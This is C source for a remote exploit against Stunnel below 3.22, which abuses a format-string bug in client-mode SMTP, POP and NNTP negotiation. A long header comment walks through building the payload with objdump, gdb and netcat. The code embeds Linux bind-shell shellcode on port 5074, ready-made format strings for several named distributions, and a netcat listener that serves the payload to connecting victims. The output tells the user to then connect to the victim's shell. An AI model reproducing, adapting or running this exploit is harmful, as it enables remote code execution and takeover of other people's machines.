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- /*
- * Stunnel < 3.22 remote exploit
- * by ^sq/w00nf - deltha [at] analog.ro
- * Contact: deltha@analog.ro
- * Webpage: http://www.w00nf.org/^sq/
- *
- * ey ./w00nf-stunnel contribs - kewlthanx :
- * nesectio, wsxz, soletario, spacewalker, robin, luckyboy, hash, nobody, ac1d, and not @ the end: bajkero
- *
- * You also need netcat and format strings build utility (from my webpage)
- * Compile: gcc -w -o w00nf-stunnel w00nf-stunnel.c
- *
- * . . .. ......................................... ...
- * . ____ ____ _____ :.:.:
- * : _ __/ __ \/ __ \____ / __/ :..
- * :.. | | /| / / / / / / / / __ \/ /_ :
- * ..:.. | |/ |/ / /_/ / /_/ / / / / __/ :
- * :.: :.. |__/|__/\____/\____/_/ /_/_/ .
- * : : :..
- * :.: :............................................... .. . .
- * T . E . A . M
- *
- * POC - Tested remotely on linux
- * Stunnel is a program that allows you to encrypt arbitrary TCP connections inside SSL
- * Visit http://www.stunnel.org for details
- *
- * I didn't add a search function or bruteforce attack because the vulnerability does'nt allow you
- * to grab the remote stack.
- *
- * Description of this exploit:
- * This exploit puts a payload on a specified port. When a remote user connects to your machine
- * using stunnel on the specified port, the exploit executes this payload and binds a shell to the
- * remote users machine on port 5074.
- *
- * Summary:
- * Malicious servers could potentially run code as the owner of an Stunnel process when using
- * Stunnel's protocol negotiation feature in client mode.
- *
- * Description of vulnerability:
- * Stunnel is an SSL wrapper able to act as an SSL client or server,
- * enabling non-SSL aware applications and servers to utilize SSL encryption.
- * In addition, Stunnel has the ability to perform as simple SSL encryption/decryption
- * engine. Stunnel can negotiate SSL with several other protocols, such as
- * SMTP's "STARTTLS" option, using the '-n protocolname' flag. Doing so
- * requires that Stunnel watches the initial protocol handshake before
- * beginning the SSL session.
- * There are format string bugs in each of the smtp, pop, and nntp
- * client negotiations as supplied with Stunnel versions 3.3 up to 3.21c.
- *
- * No exploit is currently known, but the bugs are most likely exploitable.
- *
- * Impact:
- * If you use Stunnel with the '-n smtp', '-n pop', '-n nntp' options
- * in client mode ('-c'), a malicous server could abuse the format
- * string bug to run arbitrary code as the owner of the Stunnel
- * process. The user that runs Stunnel depends on how you start
- * Stunnel. It may or may not be root -- you will need to check
- * how you invoke Stunnel to be sure.
- * There is no vulnerability unless you are invoking Stunnel with
- * the '-n smtp', '-n pop', or '-n nntp' options in client mode.
- * There are no format string bugs in Stunnel when it is running as an SSL
- * server.
- *
- * Mitigating factors:
- * If you start Stunnel as root but have it change userid to some other
- * user using the '-s username' option, the Stunnel process will be
- * running as 'username' instead of root when this bug is triggered.
- * If this is the case, the attacker can still trick your Stunnel process
- * into running code as 'username', but not as root.
- * Where possible, we suggest running Stunnel as a non-root user, either
- * using the '-s' option or starting it as a non-privileged user.
- *
- * Triggering this vulnerability - example for kidz:
- * Obtain a shell account on to-be-hacked's server and perform the following commands:
- * sq@cal013102: whereis stunnel
- * stunnel: /usr/sbin/stunnel
- * change directory to where is stunnel
- * Obtain vsnprintf's R_386_JUMP_SLOT:
- * sq@cal013102:~/stunnel-3.20$ /usr/bin/objdump --dynamic-reloc ./stunnel |grep printf
- * 08053470 R_386_JUMP_SLOT fprintf
- * ---->080534a8 R_386_JUMP_SLOT vsnprintf
- * 080535a4 R_386_JUMP_SLOT snprintf
- * 08053620 R_386_JUMP_SLOT sprintf
- * open 2 terminals
- * in the first terminal make netcat connect to a port (eg 252525)
- * sq@cal013102:~/stunnel-3.20$ nc -p 252525 -l
- * in the second terminal (remote) simulate attack
- * ./stunnel -c -n smtp -r localhost:252525
- * in the first terminal with nc insert a specially crafted string to grep eatstack value
- * AAAABBBB%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|
- * in the second terminal (remote) it will return the stack values and see at which position
- * 41414141 and 424242 appeared
- * AAAABBBB|bffff868|bffffb60|bffffece|bffffed3|80503ae|40275580|4016bfc4|
- * 4027f3c4|41414141|42424242|257c7825|78257c78|7c78257c|
- * 257c7825|78257c78|7c78257c| ->414141=9 and 424242=10
- * try again with to see if eatstack value is 9 AAAABBBB%9$x%10$x and it will return AAAABBBB4141414142424242
- * put the address obtained with objdump in hex little endian format \xa8\x34\x05\x08 and last value +2 \xaa\x34\x05\x08
- * (a8+2=aa) and generate the decimal value of format string after you got the middle of nops value on stack 0xbffff89b
- * with build, a program attached to this exploit.
- * ./build 080534a8 0xbffff89b 9
- * adr : 134558888 (80534a8)
- * val : -1073743717 (bffff89b)
- * valh: 49151 (bfff)
- * vall: 63643 (f89b)
- * [¬¿%.49143x%9$hn%.14492x%10$hn] (35)
- * ¬¿%.49143x%9$hn%.14492x%10$hn
- * The resulting string is %.49143x%9$hn%.14492x%10$hn ->
- * "'`%.32759u%9\$hn%.32197u%10\$hn replace eatstack 10 with 9 otherwise it won't work
- * eg "'`%.32759u%10\$hn%.32197u%9\$hn
- * Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
- * Bind the payload to a port ./netcat -p 252525 -l <x
- * Simulate the payload attack ./stunnel -c -n smtp -r localhost:252525
- * Add your own crafted format in the exploit:
- * char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf
- * char fmtYOUROWN[]=""; R_386_JUMP_SLOT vsnprintf
- * Simulate the payload attack with this exploit ./w00nf-stunnel -t 6 -p 252525 t6 would be your custom payload
- * after you added your string in the exploit.
- * If stunnel was compiled with gdb support and you set ulimit -c 9024 or whatever to coredump on your terminal
- * then stunnel will coredump if you didn't guess the exact stackvalue in the middle of nops.
- * If stunnel wasn't compiled with gdb support then download it from the stunnel website
- * and compile with gdb support.
- * Once you have downloaded it run './configure edit Makefile' , and where you see 'CFLAGS' add '-g -ggdb3'
- * eg. 'cat Makefile |grep CFLAGS'
- * CFLAGS=-g -ggdb3 -O2 -Wall -I/usr/local/ssl/include -DVERSION=\"3.20\" -DHAVE_OPENSSL=1 -Dssldir=\"/usr/local/ssl\"
- * -DPEM_DIR=\"\" -DRANDOM_FILE=\"/dev/urandom\" -DSSLLIB_CS=0 -DHOST=\"i586-pc-linux-gnu\" -DHAVE_LIBDL=1
- * DHAVE_LIBPTHREAD=1 -DHAVE_LIBUTIL=1 -DHAVE_LIBWRAP=1 etcetc
- * Open core in gdb sq@cal013102:~/stunnel-3.20$gdb ./stunnel core.2411
- * x/10i $esp and press enter a couple of times till you find 'nop nop nop nop nop nop'.
- * Get the stack address in the middle of nops, 0xbffff89b is my address
- * and build (9 is eatstack) again with the ./build utility
- * Rebuild and repeat.
- * ./build 080534a8 0xbffff89b 9
- * Put the payload in a file echo `perl -e 'print "\xc4\x35\x05\x08\xc6\x35\x05\x08"'`%.32759u%10\$hn%.32197u%9\$hn > x
- * ./w00nf-stunnel -t 6 -p 252525 t6 is your custom payload and it will bind a shell on 5074 :)
- * If it worked then add your own crafted format in the exploit
- * char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; 080534a8 vsnprintf
- * char fmtYOUROWN[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; R_386_JUMP_SLOT vsnprintf
- *
- */
-
- #include <fcntl.h>
- #include <netdb.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- #include <getopt.h>
- #include <stdlib.h>
- #include <memory.h>
- #include <errno.h>
- #include <syslog.h>
-
- int MAX;
- char linuxshellcode[] =
- /* <priv8security>: bind@5074 */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90" /* nop */
- "\x90\x90\x90\x90\x90\x90" /* nop */
- "\x31\xc0" /* xor %eax,%eax */
- "\x50" /* push %eax */
- "\x40" /* inc %eax */
- "\x89\xc3" /* mov %eax,%ebx */
- "\x50" /* push %eax */
- "\x40" /* inc %eax */
- "\x50" /* push %eax */
- "\x89\xe1" /* mov %esp,%ecx */
- "\xb0\x66" /* mov $0x66,%al */
- "\xcd\x80" /* int $0x80 */
- "\x31\xd2" /* xor %edx,%edx */
- "\x52" /* push %edx */
- "\x66\x68\x13\xd2" /* pushw $0xd213 */
- "\x43" /* inc %ebx */
- "\x66\x53" /* push %bx */
- "\x89\xe1" /* mov %esp,%ecx */
- "\x6a\x10" /* push $0x10 */
- "\x51" /* push %ecx */
- "\x50" /* push %eax */
- "\x89\xe1" /* mov %esp,%ecx */
- "\xb0\x66" /* mov $0x66,%al */
- "\xcd\x80" /* int $0x80 */
- "\x40" /* inc %eax */
- "\x89\x44\x24\x04" /* mov %eax,0x4(%esp,1) */
- "\x43" /* inc %ebx */
- "\x43" /* inc %ebx */
- "\xb0\x66" /* mov $0x66,%al */
- "\xcd\x80" /* int $0x80 */
- "\x83\xc4\x0c" /* add $0xc,%esp */
- "\x52" /* push %edx */
- "\x52" /* push %edx */
- "\x43" /* inc %ebx */
- "\xb0\x66" /* mov $0x66,%al */
- "\xcd\x80" /* int $0x80 */
- "\x93" /* xchg %eax,%ebx */
- "\x89\xd1" /* mov %edx,%ecx */
- "\xb0\x3f" /* mov $0x3f,%al */
- "\xcd\x80" /* int $0x80 */
- "\x41" /* inc %ecx */
- "\x80\xf9\x03" /* cmp $0x3,%cl */
- "\x75\xf6" /* jne 80a035d <priv8security+0x3d> */
- "\x52" /* push %edx */
- "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
- "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
- "\x89\xe3" /* mov %esp,%ebx */
- "\x52" /* push %edx */
- "\x53" /* push %ebx */
- "\x89\xe1" /* mov %esp,%ecx */
- "\xb0\x0b" /* mov $0xb,%al */
- "\xcd\x80"; /* int $0x80 */
-
- char fmtRH72[]="\x50\x71\x05\x08\x52\x71\x05\x08%.49143x%4\$hn%.12881x%3\$hn"; /* 08057150 R_386_JUMP_SLOT vsnprintf */
- char fmtRH73[]="\xe8\x69\x05\x08\xea\x69\x05\x08%.49143x%4\$hn%.12982x%3\$hn"; /* 080569e8 R_386_JUMP_SLOT vsnprintf */
- char fmtRH80[]="\x28\x69\x05\x08\x2a\x69\x05\x08%.49143x%4\$hn%.12815x%3\$hn"; /* 08056928 R_386_JUMP_SLOT vsprintf */
- char fmtMDK90[]="\xf8\x23\x05\x08\xfa\x23\x05\x08%.49143x%4\$hn%.13321x%3\$hn"; /* 080523f8 R_386_JUMP_SLOT vsnprintf */
- char fmtSLACK81[]="\xdc\x69\x05\x08\xde\x69\x05\x08%.49143x%10\$hn%.12082x%9\$hn"; /* 080569dc R_386_JUMP_SLOT vsnprintf */
- char fmtDEBIAN30[]="\xa8\x34\x05\x08\xaa\x34\x05\x08%.49143x%10\$hn%.14492x%9\$hn"; /* 080534a8 R_386_JUMP_SLOT vsnprintf */
- char fmtYOUROWN[]=""; /* R_386_JUMP_SLOT vsnprintf */
-
- char c;
- struct os {
- int num;
- char *ost;
- char *shellcode;
- char *format;
- int flag;
- };
-
- struct os plat[] =
- {
- {
- 0,"Red Hat Linux release 7.2 stunnel-3.20.tar.gz",
- linuxshellcode,fmtRH72,11
- },
- {
- 1,"Red Hat Linux release 7.3 stunnel-3.20.tar.gz",
- linuxshellcode,fmtRH73,11
- },
- {
- 2,"Red Hat Linux release 8.0 stunnel-3.20.tar.gz",
- linuxshellcode,fmtRH80,11
- },
- {
- 3,"Mandrake Linux release 9.0 stunnel-3.20.tar.gz",
- linuxshellcode,fmtMDK90,11
- },
- {
- 4,"Slackware Linux release 8.1 stunnel-3.20.tar.gz",
- linuxshellcode,fmtSLACK81,5
- },
- {
- 5,"Debian GNU release 3.0 stunnel-3.20.tar.bz2",
- linuxshellcode,fmtDEBIAN30,5
- },
- {
- 6,"Your custom distro stunnel-3.20.tar.bz2",
- linuxshellcode,fmtYOUROWN,5
- }
-
- };
-
- void usage(char *argument);
- int main(argc,argv)
- int argc;
- char *argv[];
- {
-
- int type=0;
- int flag=plat[type].flag;
- extern char *optarg;
- int cnt;
- char newstring[300];
- int port = 994;
- const char* sploitdata_filename = "sploitdata.spl";
- static int fd[2];
- static pid_t childpid;
- static char str_port[6];
-
- void write_sploit_data (char* entry)
- {
- int fd = open (sploitdata_filename, O_WRONLY | O_CREAT | O_APPEND, 0660);
- write (fd, entry, strlen (entry));
- write (fd, "\n", 1);
- fsync (fd);
- close (fd);
- }
- if(argc == 1)
- usage(argv[0]);
- if(argc == 2)
- usage(argv[0]);
- if(argc == 3)
- usage(argv[0]);
- while ((c = getopt(argc, argv, "h:p:t:v")) > 0 ){
- switch (c) {
- case 't':
- type = atoi(optarg);
- if(type>6) /* 0,1,2,3,4,5,6 */
- {
- (void)usage(argv[0]);
- }
- break;
- case 'p':
- port = atoi(optarg);
- break;
- case 'h':
- usage(argv[0]);
- case '?':
- case ':':
- exit(-1);
- }
- }
- MAX=strlen(plat[type].format)+strlen(plat[type].shellcode);
- fprintf(stdout,"Remote exploit for STUNNEL <3.22\nby ^sq/w00nf - deltha [at] analog.ro\n");
- fprintf(stdout,"[*] target: %s\n",plat[type].ost);
- fprintf(stdout,"[*] maxlenght: %d\n", MAX);
- unlink (sploitdata_filename);
- strcpy(newstring, plat[type].format);
- strcat(newstring, plat[type].shellcode);
- write_sploit_data(newstring);
- sprintf((char *) &str_port, "%d", port);
- printf("[*] host: localhost\n");
- printf("[*] port: %s\n", str_port);
- printf("[*] waiting: jackass should connect to our port\n");
- printf("[*] next: after he connects press ctrl-c\n");
- printf("[*] next: you should try to connect to his port 5074 - nc 1.2.3.4 5074\n");
- pipe(fd);
- if (( childpid=fork())==0) { /* cat is the child */
- dup2(fd[1],STDOUT_FILENO);
- close(fd[0]);
- close(fd[1]);
- execl("/bin/cat","cat",sploitdata_filename,NULL);
- perror("The exec of cat failed");
- } else { /* netcat is the parent */
-
- dup2(fd[0], STDIN_FILENO);
- close(fd[0]);
- close(fd[1]);
- execl("/usr/bin/nc", "nc", "-n", "-l", "-p", str_port, NULL);
- perror("the exec of nc failed");
- }
- printf("[*] next: now you should try to connect to his port 5074\n");
- exit(0);
- }
-
- void usage(char *argument)
- {
- fprintf(stdout,"Usage: %s -options arguments\n",argument);
- fprintf(stdout,"Remote exploit for STUNNEL <3.22\n"
- "by ^sq/w00nf - deltha [at] analog.ro\nUsage: %s [-p <port> -t <targettype>]\n"
- "\t-p <port> - Local binded port where the remote stunnel connects\n"
- "\t-t <target> - Target type number\n", argument);
- fprintf(stdout,"\t-Target Type Number List-\n");
- fprintf(stdout," {0} Red Hat Linux release 7.2 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {1} Red Hat Linux release 7.3 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {2} Red Hat Linux release 8.0 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {3} Mandrake Linux release 9.0 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {4} Slackware Linux release 8.1 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {5} Debian GNU release 3.0 "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," {6} Your custom distro "
- " stunnel-3.20.tar.gz\n");
- fprintf(stdout," Example1: %s -t 1 -p 252525\n",argument);
- exit(0);
- }
-